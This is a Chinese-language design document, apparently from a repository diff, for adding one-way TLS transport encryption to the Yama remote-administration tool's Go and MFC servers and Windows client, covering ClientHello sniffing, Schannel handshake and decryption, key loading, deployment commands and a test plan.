- 信任锚首选存注册表 `Software\<exehash>\settings\tls_cert`(REG_SZ 直接存 PEM 正文);兼容旧方式:`settings.ini` `[settings] tls_cert` 路径,或 exe 同目录 `yama-ca.pem` 文件。
## 5. 服务端改动
### 5.1 配置(`server/go/server/server.go` `Config`)
新增两个字段,均为证书/私钥文件路径;空 = 禁用 TLS(仅明文,向后兼容):
```go
TLSCertFile string // 服务端证书(PEM)
TLSKeyFile string // 服务端私钥(PEM)
```
`cmd/main.go` 读取环境变量(沿用现有 `YAMA_*` 命名):
```go
cfg.TLSCertFile = os.Getenv("YAMA_TLS_CERT")
cfg.TLSKeyFile = os.Getenv("YAMA_TLS_KEY")
```
仅当两者都非空才构建 `*tls.Config`;否则 `s.tlsCfg == nil`,`acceptLoop` 走纯明文。
### 5.2 `tls.Config`
```go
tlsCfg := &tls.Config{
Certificates: []tls.Certificate{cert},
MinVersion: tls.VersionTLS12,
// 单向 TLS:不设 ClientAuth / ClientCAs
}
```
### 5.3 `handleConnection` 检测 + 回放
标准 peek 回放:`bufio.Reader` 预读 6 字节,封装成 `bufferedConn`(实现 `net.Conn`,`Read` 委托给 `Reader`),判断后把已读字节一并交给目标。嗅探本身设了 `ReadTimeout` 截止,超时/EOF 则退回原始 conn 走明文,由读循环处理:
```go
func (s *Server) wrapTLS(conn net.Conn) net.Conn {
br := bufio.NewReader(conn)
_ = conn.SetReadDeadline(time.Now().Add(s.config.ReadTimeout)) // 嗅探受超时约束
hdr, err := br.Peek(6)
_ = conn.SetReadDeadline(time.Time{})
if err != nil {
return conn // 超时/EOF:走明文,交由读循环处理
}
bc := &bufferedConn{Conn: conn, r: br}
if isTLSClientHello(hdr) { // 0x16 0x03 且 b[5]==0x01
return tls.Server(bc, s.tlsCfg) // 握手惰性,首次 Read 触发
}
return bc
}
```
### 5.4 握手超时
`handleConnection` 首次 `conn.Read` 会触发 TLS 握手,而它已按 `ReadTimeout` 设了 `SetReadDeadline`,因此握手天然受 `ReadTimeout` 约束,无需额外机制。per-IP 限流(现有)继续在握手前生效,压制握手 DoS。
### 5.5 明确不动的部分
- `parser.go` / `codec.go` / `header.go`:**零改动**。
- `handleConnection` / `processData` / handler 栈:**零改动**(`tls.Conn` 满足 `net.Conn`)。
## 6. 客户端改动
### 6.1 证书检测
启动时(连接前)按优先级找信任锚:① 注册表 `Software\<exehash>\settings\tls_cert`(REG_SZ 存 PEM 正文)→ ② `settings.ini` `[settings] tls_cert` 路径 → ③ exe 同目录 `yama-ca.pem`。找到即走 TLS,否则明文。实现:`client/TlsChannel.cpp` 的 `ReadTrustAnchor()` + `TlsEnabled()`(`std::call_once` 惰性加载、线程安全、幂等)。
### 6.2 TLS 栈选型(已定:Schannel)
- **已选 Schannel(Windows 原生 SSPI)**:零第三方依赖/零额外 DLL 部署,`secur32.lib`/`crypt32.lib` 均为系统库(`secur32.lib` 已在 `CFFmpegH264Encoder.cpp:38` 链接)。
- 信任锚(PEM/DER 正文,来自注册表或文件)经 `CryptStringToBinaryA` 解码 → `CertCreateCertificateContext` → 内存 `HCERTSTORE`;握手后 `CertGetCertificateChain` 把服务端证书链到该信任锚,`dwErrorStatus == 0` 才放行(含时间有效性)。**严格钉扎**:链引擎用 `hExclusiveRoot` 只信任该 store,排除系统根库,否则公共 CA 签发的证书也能通过。**fail-closed**。
- 握手凭据:`SCH_CRED_MANUAL_CRED_VALIDATION | SCH_CRED_NO_DEFAULT_CREDS`,`grbitEnabledProtocols = SP_PROT_TLS1_2_CLIENT`(与 Go 端 `MinVersion: TLS 1.2` 对齐)。
- 单向 TLS:不提供客户端证书;客户端身份仍由隧道内登录承担。
### 6.3 连接层封装
在 socket 建立后、应用协议首包前插入 TLS 握手(`IOCPClient::ConnectServer`,`m_bConnected` 置位前);`ReceiveData`/`SendTo` 改走 `TlsChannel` 会话。所有出站连接(主连接 + 子连接)统一遵循 TLS 开关,因此子连接同样被加密——服务端按连接检测,天然支持。实现:`client/TlsChannel.{h,cpp}`,接入点 `client/IOCPClient.{h,cpp}`。
### 6.4 关键:无静默降级(fail-closed)
**证书文件存在但握手失败(证书不匹配 / 中间人)时,客户端必须报错并放弃连接,禁止回退到明文。** 否则攻击者可制造降级。这必须写进实现与测试。
### 6.5 实现要点:Schannel 流模式 `DecryptMessage` 的缓冲重组
Schannel 流模式(`ISC_REQ_STREAM`)下,`DecryptMessage` 会把输入的那段 `SECBUFFER_DATA`
**重组**为 4 段输出,而不是就地解密到原偏移:
| 索引 | 类型 | 内容 |
|---|---|---|
| `bufs[0]` | `SECBUFFER_STREAM_HEADER` | TLS 记录头(5) + 显式 nonce(8) |
| `bufs[1]` | `SECBUFFER_DATA` | **明文** |
| `bufs[2]` | `SECBUFFER_STREAM_TRAILER` | 认证标签 |
| `bufs[3]` | `SECBUFFER_EXTRA` | 下一条记录的剩余密文(如有) |
因此客户端 `Recv` 必须从 `bufs[1].pvBuffer`/`bufs[1].cbBuffer` 取明文、`EXTRA` 从 `bufs[3]`
取。若误用 `bufs[0]`(记录头+nonce)或从原缓冲首字节取数,会把 TLS 记录头 `17 03 03 …`
当作明文交给协议解析器(表现为 `Unknown header`)。`Send` 方向相反:`EncryptMessage` 用
`STREAM_HEADER/DATA/TRAILER` 三段布局,本就正确。这一处是联调阶段实际踩到的、唯一的方向性
不对称 bug,已修复。
## 7. 兼容矩阵
| 客户端 | 服务端行为 | 结果 |
|---|---|---|
| 老客户端(无证书概念) | 明文路径 | 与现状完全一致 |
| 新客户端 · 无证书 | 明文路径 | 与老客户端行为一致(默认) |
| 新客户端 · 有证书 | TLS 路径 | 全量加密(主 + 子连接) |
服务端 TLS 未配置(`YAMA_TLS_CERT/KEY` 为空)时,一切与现状一致,TLS 客户端握手自然失败(fail-closed)。
## 8. 安全考量
- **TLS 提供**:机密性、完整性、服务端身份(客户端校验)、抗重放(TLS record 序号 + nonce)。即对 TLS 客户端而言,Measure 1(真加密 + 防重放)达成。
- **TLS 不提供**(单向):客户端证书身份——仍由隧道内登录承担;对「未颁证客户端」不强制加密(这是本设计刻意保留的兼容性,也是薄弱点:部署安全性取决于最弱客户端)。
- **明文前导**:TLS ClientHello 前几字节明文(协议固有),仅暴露「这是 TLS 客户端」,不含业务数据;客户端不设 SNI(连接目标是 IP,无域名)。
- **子连接**:客户端统一走 TLS,screen/terminal/file 子连接一并加密;对应 Measure 2 的「源 IP 绑定」降级为纵深防御,不再是唯一防线。
- **证书轮换**:重签服务端证书后,需向已颁证客户端重新投递新信任锚(或在证书到期前提前过渡)。自签名建议 `-days 3650`,到期前统一更换。
- **协议强度**:`MinVersion` 固定 TLS 1.2+,套件用 Go 默认安全集(`tls.Config` 默认已排除弱套件)。
## 9. 部署与运维
### 9.1 生成证书
自签名(最简,客户端信任锚即 `yama-server.crt`):
```bash
openssl req -x509 -newkey rsa:2048 -nodes \
-keyout yama-server.key -out yama-server.crt \
-days 3650 -subj "/CN=yama-server"
```
或自建 CA + 签服务端证书(便于轮换,客户端信任锚为 `ca.crt`):
```bash
openssl req -x509 -newkey rsa:2048 -nodes -keyout ca.key -out ca.crt -days 3650 -subj "/CN=yama-ca"
openssl req -newkey rsa:2048 -nodes -keyout server.key -out server.csr -subj "/CN=yama-server"
openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt -days 3650
```
### 9.2 服务端
```bash
YAMA_TLS_CERT=/etc/yama/server.crt \
YAMA_TLS_KEY=/etc/yama/server.key \
./server_linux_amd64 ...
```
### 9.3 客户端「颁发 + 重启」
首选:把信任锚 PEM 正文写入注册表值 `Software\<exehash>\settings\tls_cert`(REG_SZ),重启客户端:
```powershell
$pem = Get-Content -Raw 'C:\path\yama-ca.pem'
New-Item -Path 'HKCU:\Software\<exehash>\settings' -Force | Out-Null
Set-ItemProperty -Path 'HKCU:\Software\<exehash>\settings' -Name 'tls_cert' -Value $pem -Type String
```
- `<exehash>` = 客户端 exe 全路径小写后的 FNV 哈希(`common/iniFile.h` 的 `GetRegistryName()`)。
- 客户端以服务(SYSTEM)运行时,注册表落在会话用户的 `HKEY_USERS\<SID>`(`GetCurrentUserRegistryKey()`)。
- REG_SZ 直接存 PEM 正文(含换行);客户端动态读取,不受 `iniFile::GetStr` 512 字节固定缓冲限制。
兼容旧方式:把信任锚复制到客户端目录并命名为 `yama-ca.pem`(或经 `settings.ini` `[settings] tls_cert` 指向),重启客户端。
移除注册表值(或删除文件)并重启即退回明文。**远程下发/撤销信任锚属后续工作,本期仅支持本地写注册表。**
## 10. 测试计划
1. **检测单元**:`isTLSClientHello` 对 `0x16 0x03 … 0x01`(TLS 1.2/1.3 ClientHello)/ `POST ` / `Shine` / 混淆 `HELL`(首两字节恰好 `0x16 0x03` 但 `b[5]==0x00`)/ 短于 6 字节 等判定的单测(已实现 `server/go/server/tls_test.go`)。
2. **TLS 未配置**:不设 `YAMA_TLS_*` → 纯明文,行为与现状一致。
3. **明文回归**:老客户端 + 新客户端(无证书)均走明文,登录/屏幕/终端/文件全链路不回归。
4. **TLS 加密**:新客户端(有证书)→ 握手成功,登录/屏幕/终端/文件子连接全部在 TLS 内跑通;抓包确认 payload 不可读。
5. **混合并发**:明文与 TLS 客户端同时在线,互不干扰。
6. **fail-closed**:客户端有证书但服务端证书不匹配 / 中间人 → 客户端报错断开,**不**回退明文。
7. **握手超时 / 限流**:恶意慢握手被 `ReadTimeout` + per-IP 限流压制。
## 11. 分期与回滚
- **阶段 1(Go 服务端,本期优先)**:`Config` + `tls.Config` + `acceptLoop` 检测回放;明文路径零改动。可独立上线、独立验证——用 `openssl s_client` 或 Go 测试客户端即可联调 TLS 链路,无需真实客户端配合。
- **阶段 2(Windows 客户端)**:证书检测 + TLS 栈 + fail-closed。
- **阶段 3(MFC 服务端 `server/2015Remote`,延后)**:与 Go 服务端同款的 TLS 检测 + 解包接入。设计稿见 `docs/TransportTLS_MFCServer_Design.md`。
- **回滚**:服务端清空 `YAMA_TLS_CERT/KEY` 即回到纯明文;客户端删除注册表 `tls_cert` 值(或 `yama-ca.pem` 文件)即回明文。
## 12. 待定问题
1. ~~客户端 TLS 栈最终选型~~ → **已定 Schannel**(见 §6.2,2026-10-13 落地)。
2. ~~信任锚文件固定名(`yama-ca.pem`)是否需可配置~~ → **已改为注册表 `tls_cert` 值优先、文件回退**(见 §6.1/§9.3,2026-10-14)。
3. 是否同步把「TLS 内去掉 XOR」列为后续精简项(当前保留 XOR,换取零协议改动)。
4. Linux / macOS / Android 客户端的 TLS 接入排期。
+280
View File
@@ -0,0 +1,280 @@
# MFC 服务端(server/2015Remote)单向 TLS 加密设计
> 版本:v0.3 · 状态:**已实施并验证(屏幕 + 终端联调通过)** · 日期:2026-10-15
> 上游依赖:`docs/TransportTLS_Design.md`(Go 服务端 + Windows 客户端,已实现并验证)。
> 本期范围:**MFC 服务端 `server/2015Remote` 的传输层加密**(加载证书+私钥、握手、加解密、新旧客户端并存)。
> 显式排除(本次不做,但须预埋接缝):① MFC 的 MCP 式配置 UI;② 「向在线主机下发是否启用加密传输」的指令;③ 客户端运行时热切换。
>
> **已拍板的三个决策(2026-10-14,见 §12)**:
> 1. 握手采用 **方案 A(专用短命阻塞线程)**;
> 2. 身份文件采用 **PEM + CNG(`CertPath` + `KeyPath`)**,与 Go 服务端共用同一对密钥;私钥须为 **PKCS#8**;
> 3. 配置 **新建 `[tls]` 节**(`Enabled` / `CertPath` / `KeyPath`)。
>
> 需求原文(已确认):
> 1. MFC 服务端有一个类似 MCP 的配置,可选启用传输层加密;启用时需指定一对密钥(证书 + 私钥);
> 2. 启用后,可向在线主机发送「是否启用加密传输」的指令 —— **UI 与新指令属后期内容**;
> 3. **新旧客户端都须支持**:同一端口同时兼容明文(老客户端)与 TLS(新客户端)。
## 1. 目标与范围
### 目标
- MFC 服务端在同一个 TCP 端口(6543)上,按连接自动区分「明文客户端」与「TLS 客户端」,路由到各自路径。
- TLS 客户端解密后的字节流 == 同一套应用协议(flag 帧 + XOR + zstd),**协议解析/解压/解码零改动**。
- 老客户端(无 TLS 概念)行为不变、零改动。
- 服务端「启用 TLS」是**配置驱动**的:未配证书 → 纯明文;配了证书 → 新旧并存。
### 非目标(Non-goals,本次不做)
- 不做 **mTLS / 客户端证书**:单向 TLS,客户端身份仍由隧道内登录(V1 `PwdHmac` / V2 `ECDSA`)承担。
- 不做「TLS 内去掉 XOR」的二次精简(与上游设计一致,保留 XOR 换取零协议改动)。
- 不做 **UI**:不新增配置对话框、不加「启用加密」复选框、不加证书/私钥路径选择控件。
- 不做 **「向在线主机下发启用/撤销加密」指令**:不下发信任锚、不发加密开关指令、不改客户端运行时状态。
- 不做 KCP/UDP 传输(`IOCPKCPServer`)的 TLS 接入(本期只做 TCP 设备端口;KCP 另行评估)。
## 2. 现状与复用(IOCP 数据流 + 四个接缝)
MFC 服务端 TCP 接收链路:`OnAccept`(`IOCPServer.cpp:1144`)`accept` 后 `AllocateContext`(`:1289`)分配 `CONTEXT_OBJECT`,绑定 IOCP,`PostRecv`(`:1268`)投递首个 `WSARecv`(`:1278`,收进 `wsaInBuf`→`szBuffer[PACKET_LENGTH]`,`:1215`)。收满后 `HandleIO(IORead)`(`:746`)→ `OnClientReceiving`(`:892`)→ `ParseReceivedData`(`:796`)。
原始 socket 字节在整套流程里各只有**一个入口**和**一个出口**,这是 TLS 能做成「过滤器」而非「改写」的根本原因:
| 接缝 | 位置 | 作用 |
|---|---|---|
| ① 收包咽喉点 | `IOCPServer.cpp:805` `InCompressedBuffer.WriteBuffer(szBuffer, dwTrans)` | 原始字节进入协议解析的**唯一**位置(`szBuffer` 全文件仅此一处消费) |
| ② 发包咽喉点 | `IOCPServer.cpp:1000` `WSASend(...wsaOutBuffer...)` | `OutCompressedBuffer` 上行的**唯一**位置 |
| ③ 嗅探点 | `OnAccept`→`PostRecv`;`OnClientInitializing`(`:790`)现为空桩 `return TRUE` | 首次收到数据处,可挂 ClientHello 判定 |
| ④ 状态字段 | `Server.h:332` `CONTEXT_OBJECT`(`szBuffer`/`wsaInBuf`/`InCompressedBuffer`/`InDeCompressedBuffer`/`OutCompressedBuffer`/`Parser` 等,`:359-398`) | 新增 TLS 会话指针 + 标志位 |
**关键结论(本设计的基础)**:TLS 作为「透明传输包装」,加解密插在 ①② 两处,③ 做新旧分流,④ 加一个 per-connection 状态。`ParseReceivedData` 内的 `Parse`/解压/`Decode`、`WriteContextData` 内的 `Encode`/压缩/掩码,**全部不动**。这与上游 Go 服务端「`tls.Conn` 满足 `net.Conn`、parser 零改动」是同一策略(见上游 §2.3)。
## 3. 总体方案
### 3.1 按连接嗅探(与 Go 服务端同款判定)
首次收到数据后,只看 `szBuffer` 前 6 字节:
- 命中 `0x16 0x03 … 0x01`(TLS 握手记录 + TLS 版本号 + ClientHello)→ TLS 路径;
- 其它 → 明文路径(老客户端透明,一行不改)。
判据与 Go 端 `isTLSClientHello`(`0x16 0x03` 且 `b[5]==0x01`)**完全一致**,理由也一致:客户端会随机混淆魔数头(见上游 §2.1),明文前两字节可能恰为 `0x16 0x03`,但字节 5 对混淆头恒非 `0x01`,故三重判据误判率趋近于零。
### 3.2 数据路径 = 条件过滤器
```
OnAccept → PostRecv
│
首次 IORead 完成(嗅探 szBuffer[0..5])
┌─────┴─────┐
明文(其它) TLS(0x16 0x03 .. 0x01)
│ │
ParseReceivedData TLS 握手(AcceptSecurityContext)
(现状,零改动) │ 成功
│ ▼
│ 握手后:IORead → DecryptMessage → 明文 → InCompressedBuffer.WriteBuffer
│ 发送:OutCompressedBuffer → EncryptMessage → WSASend
└────────── 同一套 Parse/Encode/解压/压缩 ──────────┘
```
明文连接与握手后的 TLS 连接,下游共用同一套 `Parse`/`Encode`/解压/压缩。唯一差别是 ①② 两处各多一个 `if (tls) 加解密 else 直通` 分支。
## 4. 配置设计(含未来 UI/指令的预埋)
### 4.1 配置面(本次定键名,UI 后期加)
MFC 服务端配置走 `THIS_CFG`(`config`/`iniFile`,`GetInt`/`GetStr(section,key,default)`,见 `2015Remote.cpp:481-543` 用法)。新增 `[tls]` 节,三键(**已拍板 PEM + CNG**,见 §5.6、§12):
```ini
[tls]
Enabled = 0 ; 是否启用传输层加密(0/1)
CertPath = "" ; 服务端证书路径(PEM,-----BEGIN CERTIFICATE-----)
KeyPath = "" ; 服务端私钥路径(PEM PKCS#8,-----BEGIN PRIVATE KEY-----)
```
三键都是**短字符串路径**,不落 PEM 正文,故不受 `iniFile::GetStr` 512 字节固定缓冲限制(该限制只在「存 PEM 正文」时才成问题,客户端已为此单独绕行,见上游 §6.1)。
### 4.2 未来不返工的四条硬约束(本次预埋)
1. **配置单一访问器**:TLS 开关与身份路径只经一个中心对象 `ServerTlsIdentity` 暴露:`Load(config&)` / `IsEnabled()` / `IsReady()` / `IsLoadError()` / `Cred()`。未来 UI 改配置、指令查询「我当前是否加密态」都走这同一个入口,禁止代码里散落 `GetInt("Enabled")`。
2. **身份加载做成可重入,绝不用 `std::call_once`**:`ServerTlsIdentity::Load(config&)` 每次调用重新加载证书+私钥并重建凭据句柄。本次启动时调一次;未来「轮换证书 / 开关切换」可再调。这是对客户端 `TlsEnabled()` 用 `std::call_once` 一次读死、不可热切换(见上游 §6.1 与 `docs/tls-cert-push-revoke-deferred` 相关记忆)的**主动规避**。
3. **「我是否 TLS 就绪」是全局只读态,与每条连接的 TLS 态分开**:`ServerTlsIdentity::IsEnabled()`(全局配置态)/ `IsReady()`(身份加载成功)与 per-connection 的「该连接是否走 TLS/握手是否完成」是两个概念。未来指令/UI 只碰前者。
4. **按连接嗅探本身就是为混合上线准备的**:服务端开 TLS 后,没切换的旧主机照样明文连、已切换的走 TLS。未来「下发开启指令」只改客户端行为,服务端传输层不用动。
## 5. 服务端改动详述
### 5.1 `CONTEXT_OBJECT` 字段(`Server.h`,加 4 项)
```cpp
// 每连接传输层状态(单向 TLS,见 §5.2);跨线程(握手线程写 TLS_Ready,工作线程读)用 atomic 保序
enum ServerTlsState {
TLS_Unclassified = 0, // 尚未收到足够字节判定(缓冲 tlsPreClassify)
TLS_Plain = 1, // 明文客户端,直通现有解析路径
TLS_Handshaking = 2, // TLS 客户端,握手线程阻塞 AcceptSecurityContext 中
TLS_Ready = 3, // TLS 握手完成,收包解密 / 发包加密
};
ServerTlsSession* tls = nullptr; // 懒分配;握手完成后承载加解密状态
std::atomic<int> tlsState{ TLS_Unclassified }; // ServerTlsState
std::vector<BYTE> tlsPreClassify; // 分类前缓冲的首批字节(嗅探 ClientHello 头)
bool bSendPending = false; // 发送在途抑制(见 §5.5);受 SendLock 保护
void FreeTls(); // delete tls; tls = NULL;(定义在 ServerTlsSession.cpp,避免本头拖入 Schannel)
```
生命周期见 §5.7:`InitMember` 时复位 `tlsState`/`tlsPreClassify`/`tls`,析构 / 回收时 `FreeTls()`。
### 5.2 嗅探与预分类缓冲
首次 `IORead` 完成时(`OnClientReceiving` 开头,`ParseReceivedData` 之前)判定:
- `dwTrans >= 6`:看 `szBuffer[0..5]`,一次定死明文/TLS;
- `dwTrans < 6`(TCP 把 ClientHello 头分片,极罕见但须正确):把这 `dwTrans` 字节追加进 `tlsPreClassify`,`PostRecv` 继续收,直到攒够 6 字节再判定。判定后清空 `tlsPreClassify`。
明文连接判定后,把 `tlsPreClassify`(如有)+ 本次 `szBuffer` 一并按现状喂给 `ParseReceivedData`,保证分片字节不丢。
### 5.3 握手(已拍板方案 A)
服务端握手需 `AcceptSecurityContext`(Schannel 入站),与客户端 `InitializeSecurityContext`(出站)**不通用**,需新写。数据阶段的 `DecryptMessage`/`EncryptMessage` 是同步缓冲变换,与异步收发包天然兼容,两个方案都复用。
**方案 A:专用握手线程(阻塞式,已实施)**
- 首次 `IORead` 判定为 TLS 后,此刻 `WSARecv` 已因完成回调结束、socket 上**无 pending overlapped 操作**,可安全转交一个短命线程做阻塞握手。
- 线程内用**与客户端 `TlsChannel::Handshake` 同型的阻塞 Schannel 循环**跑 `AcceptSecurityContext`(`TlsChannel.cpp` 已证明该模式可靠),把已收到的 ClientHello 字节(`tlsPreClassify`,可能是分片)作为初始输入,后续 handshake 航程走阻塞 `recv`/`send`;握手前把 socket 切回阻塞态并设 15s 收发超时。
- 成功 → `tlsState.store(TLS_Ready)`,`PostRecv` 投递首个 `IORead`,回到 IOCP 正常流程;失败 → 关连接(fail-closed,§8)。
- 优点:复用客户端已验证的阻塞 Schannel 代码形态、状态最少;缺点:每个 TLS 连接多一个短命线程(仅在握手期间存活)。
**方案 B:异步状态机(无额外线程,更贴合 IOCP)**
- 握手由 `IORead`/`IOWrite` 完成回调推进:每次回调喂一段握手字节给 `AcceptSecurityContext`,按其返回(`SEC_I_CONTINUE_NEEDED` → 继续收/发;`SEC_E_OK` → 完成)驱动下一动作。
- 优点:无额外线程、与现有 IOCP 事件循环同构;缺点:状态管理明显更重,需把「握手待收/待发/完成」编码进 per-connection 状态。
**已拍板(2026-10-14)**:采用 **方案 A**(简单、复用客户端阻塞 Schannel 经验、风险低)。方案 B 留作后续压测发现短命线程开销不可接受时再演进;二者切换只影响 §5.3,不影响 ①②④ 的过滤器设计。
### 5.4 收包解密(接缝 ①,`ParseReceivedData` 之上)
`OnClientReceiving` 里,明文与 TLS 分叉:
```cpp
int st = ContextObject->tlsState.load(std::memory_order_acquire);
if (st == TLS_Ready) {
// 1) 把 szBuffer[0..dwTrans] 喂给 DecryptMessage,得到明文 plain、长度 n
// 2) 处理 SECBUFFER_EXTRA:多余密文留存到 tls 对象内部缓冲(m_raw),下次续解(见上游 §6.5)
// 3) plain 为空(记录分片未齐)→ PostRecv 继续收;否则 ContextObject->InCompressedBuffer.WriteBuffer(plain.data(), n);
} else {
ContextObject->InCompressedBuffer.WriteBuffer(szBuffer, dwTrans); // 现状,零改动
}
```
即 ① 从「一行直写」变成「条件分支」,明文侧原文不动。解密缓冲重组(`STREAM_HEADER/DATA/TRAILER/EXTRA` 四段布局)已在上游 §6.5 踩过坑、给出正确写法,服务端直接沿用(`ServerTlsSession::Decrypt` 内维护 `m_raw` 续解缓冲)。
### 5.5 发包加密(接缝 ②,`OnClientPreSending` 之上)
`OutCompressedBuffer` 是「可能残留上一轮未发完密文」的可变缓冲:异步 `WSASend` 在途时,新明文由 `WriteContextData` 追加在尾部。因此 `OnClientPreSending`(`IOCPServer.cpp`)**只加密本次新追加的尾部明文**,而非整个缓冲:
1. 追加前记 `oldLen = OutCompressedBuffer.GetBufferLength()`;
2. `WriteContextData` 追加新明文后,`plainLen = totalLen - oldLen`,只对 `GetBuffer(oldLen)` 起的 `plainLen` 字节调用 `tls->Encrypt` 得密文 `wire`;
3. `TruncateBuffer(oldLen)` 回退尾部明文(**不用 `ClearBuffer`**:后者会 `DeAllocateBuffer`,可能 `VirtualFree` 正在被在途 `WSASend` 引用的底层内存),再 `WriteBuffer(wire)` 追加新密文。
这样 `OutCompressedBuffer` 始终保持一串合法 TLS 记录。若把整个缓冲重新加密,会把旧密文二次加密,客户端解密后得到「旧 TLS 记录」→ `Unknown header 17 03 03`。
**发送唤醒的并发抑制(`bSendPending`)**:`OnClientPreSending` 每次 `Send2Client` 若都 `PostQueuedCompletionStatus(IOWrite, 0)`,则每个 `OnClientPostSending(ctx, 0)` 都会对整个缓冲再发起一次 `WSASend`;背靠背小包(终端 `resize → COMMAND_NEXT → resize`)会触发多个并发 `WSASend` 读到同一段可变内存,产出重复/错位密文(客户端 `DecryptMessage` 失败,`WSAGetLastError()` 残留 `6001 = ERROR_DECRYPTION_FAILED`)。故新增 `bool bSendPending`(受 `SendLock` 保护):仅在 `!bSendPending` 时投递 IOWrite 并置位;`OnClientPostSending` 在缓冲排空(最后一个 `WSASend` 完成)或发送失败时清零;`InitMember` 复用对象池时复位。在途 `WSASend` 的完成回调会看到排空后仍残留的新数据并继续发送,无需再投递。后续 `OnClientPostSending` 的部分发送循环照旧——它发送的已是密文字节,逐段 `WSASend` 天然成立。
### 5.6 证书/私钥加载(Schannel 入站凭据,已拍板 PEM+CNG)
`AcquireCredentialsHandle` 取 `SCHANNEL_CRED`(入站)时需一个**已绑定私钥的证书**。已拍板用 **PEM + CNG**(与 Go 端 `YAMA_TLS_CERT/KEY` 同构,服务端与 Go 共用同一对密钥):
- **证书**:`CryptStringToBinaryA(CRYPT_STRING_ANY)` 把 PEM 解为 DER → `CertCreateCertificateContext(X509_ASN_ENCODING)`。
- **私钥(仅 PKCS#8)**:Schannel 入站凭据要求私钥是**「能按名重开」的持久化键**——`NCryptImportKey` 产出的是匿名临时键,绑定 `CERT_NCRYPT_KEY_HANDLE_PROP_ID` 后 Schannel 仍拿不到(`AcquireCredentialsHandle` 返回 `SEC_E_NO_CREDENTIALS` `0x8009030e`)。因此:
1. **导入临时键并导出裸 BLOB**:`NCryptOpenStorageProvider(MS_KEY_STORAGE_PROVIDER)` + `NCryptImportKey(NCRYPT_PKCS8_PRIVATE_KEY_BLOB)` 得临时键(`hProvider` 不能传 NULL——默认提供者解析实测返回 `NTE_INVALID_HANDLE` `0x80090026`,须显式打开 KSP);再 `NCryptSetProperty(NCRYPT_EXPORT_POLICY_PROPERTY=ALLOW_PLAINTEXT_EXPORT|ALLOW_EXPORT)` 后 `NCryptExportKey(BCRYPT_RSAFULLPRIVATE_BLOB)` 得裸 RSA 私钥 BLOB。
2. **写入持久化键**:`NCryptCreatePersistedKey(BCRYPT_RSA_ALGORITHM, "YamaServerTlsKey", AT_KEYEXCHANGE, NCRYPT_OVERWRITE_KEY_FLAG)` → `NCryptSetProperty(BCRYPT_RSAFULLPRIVATE_BLOB)` → `NCryptFinalizeKey`。`NCryptSetProperty` 只认裸 BLOB、不认 PKCS#8(直接设 `NCRYPT_PKCS8_PRIVATE_KEY_BLOB` 实测 `NTE_NOT_SUPPORTED` `0x80090029`)。
3. **按名绑定**:`CertSetCertificateContextProperty(CERT_KEY_PROV_INFO_PROP_ID, CRYPT_KEY_PROV_INFO{ pwszContainerName="YamaServerTlsKey", pwszProvName=MS_KEY_STORAGE_PROVIDER, dwProvType=0, dwKeySpec=AT_KEYEXCHANGE })`。Schannel 经 `CryptAcquireCertificatePrivateKey` 按名在 KSP 里重开该键。
- **入站凭据**:`AcquireCredentialsHandleA("Microsoft Unified Security Protocol Provider", SECPKG_CRED_INBOUND, &SCHANNEL_CRED{ cCreds=1, paCred=&cert, grbitEnabledProtocols=SP_PROT_TLS1_2_SERVER, dwFlags=NO_DEFAULT_CREDS })`。
关键点:**私钥必须是 PKCS#8**(`-----BEGIN PRIVATE KEY-----`);若拿到的是 PKCS#1(`-----BEGIN RSA/EC PRIVATE KEY-----`),用
`openssl pkcs8 -topk8 -nocrypt -in server.key -out server.key` 转换。证书上下文生命周期交给进程级 `g_cert`,持久化键句柄交给 `g_persistedKey`;`FreeIdentity` 里按序 `FreeCredentialsHandle` → `CertFreeCertificateContext` → `NCryptDeleteKey`(`NCryptDeleteKey` 会同时释放句柄,勿再 `NCryptFreeObject`)。
### 5.7 生命周期(context 池化复用)
`CONTEXT_OBJECT` 经 `AllocateContext`(`:1311`)从 `m_ContextFreePoolList` **复用**、`InitMember`(`:1314`)复位。故 TLS 状态必须在 `InitMember` 里清空 `tlsPreClassify`、`FreeTls()`、复位 `tlsState`(`store(TLS_Unclassified)`)与 `bSendPending=false`(避免上次连接残留的在途标志抑制新连接发送),并在 `~CONTEXT_OBJECT`(`Server.h:346`)`FreeTls()`。否则「前一个 TLS 连接的状态漏给下一个明文连接」会直接导致解析错乱。这是唯一需要跨过 `InitMember`/析构两处做的生命周期接线。
### 5.8 明确不动的部分
- `ParseReceivedData` 内的 `Parse`/解压/`Decode`、`WriteContextData` 内的 `Encode`/压缩/掩码:**零改动**。
- `HeaderParser` / `context`(`context.h`)协议层:**零改动**。
- `OnAccept` / `PostRecv` / `AllocateContext` / `RemoveStaleContext` 主结构:**零改动**(仅新增 TLS 分支与字段复位)。
- KCP / UDP 传输(`IOCPKCPServer`):**零改动**(不在本期范围)。
## 6. 新老客户端兼容矩阵
| 客户端 | 服务端 TLS 状态 | 服务端行为 | 结果 |
|---|---|---|---|
| 老客户端(无 TLS 概念) | 未配置 | 明文路径 | 与现状完全一致 |
| 老客户端 | 已配置 | 嗅探判为明文 → 明文路径 | 与现状完全一致(透明) |
| 新客户端 · 无证书 | 未配置 / 已配置 | 明文路径 | 与老客户端一致(默认) |
| 新客户端 · 有证书 | 已配置 | 嗅探判为 TLS → 握手 → 加密 | 全量加密 |
| 新客户端 · 有证书 | 未配置 | 嗅探判为 TLS → 无证书可握手 → **关连接(fail-closed)** | 拒绝(见 §8) |
## 7. 与未来「下发/撤销指令 + UI」的接缝
本次不实现 UI 与指令,但通过 §4.2 四条约束预留干净接缝。二者未来的分工与依赖:
- **UI**:在 MFC 配置对话框(类 MCP)里加「启用传输加密 + 指定一对密钥」,写入 `[tls]` 三键 → 调 `ServerTlsIdentity::Load(config&)` 重载 → `IsEnabled()` 即时生效。**只碰 §4.2 第 1/2 点,不碰传输层。**
- **「向在线主机下发启用/撤销加密」指令**:服务端侧是一条新的命令通道(遍历在线连接广播),客户端侧是**运行时热切换**——收到指令后热加载/删除信任锚、断开重连走新通道。
**必须先说破的跨端依赖**:这条指令真正的大头在**客户端**——客户端目前读 `tls_cert` 是进程启动读一次、`std::call_once`、**不可热切换**(见上游 §6.1 及 `docs/tls-cert-push-revoke-deferred` 记忆)。因此「下发/撤销」落地时,客户端要先把 `TlsEnabled()` 的一次读死改成「指令驱动的热重载」。**这与本次服务端传输层正交**——只要 §4.2 第 2/3 点把服务端状态做成可重载、可中心化查询,未来就能干净接上,无需回头改本次代码。
## 8. 安全考量
